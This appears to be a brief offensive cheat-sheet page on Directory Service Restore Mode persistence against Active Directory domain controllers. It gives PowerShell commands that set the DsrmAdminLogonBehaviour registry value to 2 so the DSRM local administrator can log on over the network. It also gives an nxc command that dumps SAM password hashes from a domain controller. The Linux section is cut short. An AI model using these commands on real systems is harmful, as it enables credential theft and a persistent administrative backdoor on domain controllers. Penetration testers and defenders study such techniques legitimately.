Directory Service Restore Mode (DSRM)
NOTE: DSRM creates a local administrator account on the Domain Controller that is different from the Domain administrator account.
Requirements: Obtain Local Admin hash on the Domain Controller
After dumping local admin hash on the domain controller, run:
Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour'Set-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour' -Value 2 -VerboseNew-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour' -Value 2 -PropertyType DWORD -VerboseLinux
1) Dump DSRM Password
nxc smb <DC_IP> -u user1 -p password --sam2) Change registry configuration
Last updated